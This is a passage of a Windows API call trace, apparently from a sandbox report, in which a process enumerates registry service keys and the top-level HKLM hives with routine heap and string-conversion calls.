0x21f1bf8 [0259.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0259.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0259.917] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0259.917] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.917] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0259.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.918] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0259.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0259.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0259.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0259.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0259.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0259.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0259.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0259.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0259.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0259.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0259.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0259.918] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0259.919] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0259.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0259.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0259.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0259.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0259.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0259.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0259.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0259.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0259.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0259.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0259.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0259.920] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0259.921] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0259.922] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0259.923] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0259.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0259.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0259.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0259.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0259.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0259.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0259.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0259.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0259.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0259.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0259.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0259.924] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0259.925] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0259.926] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0259.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0259.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0259.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0259.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0259.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0259.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0259.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0259.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0259.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0259.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0259.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0259.927] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0259.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0259.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0259.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0259.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0259.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0259.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0259.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0259.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0259.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0259.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0259.928] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0259.928] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0259.928] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0259.929] RegCloseKey (hKey=0xc4) returned 0x0 [0259.929] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.929] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.929] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.929] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.929] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0259.929] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0259.929] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0259.929] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0259.929] RegCloseKey (hKey=0x80000002) returned 0x0 [0259.929] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0259.929] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0259.929] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0259.930] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0259.930] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0259.930] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0259.930] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0259.930] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0259.930] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0259.930] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0259.930] RegCloseKey (hKey=0x14c) returned 0x0 [0259.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0259.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0259.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0259.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0259.930] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0259.931] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0259.931] RegCloseKey (hKey=0xc4) returned 0x0 [0259.931] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0259.931] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0259.931] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0259.931] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0259.931] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0259.931] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0259.931] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0259.931] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0259.931] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0259.932] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.932] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, 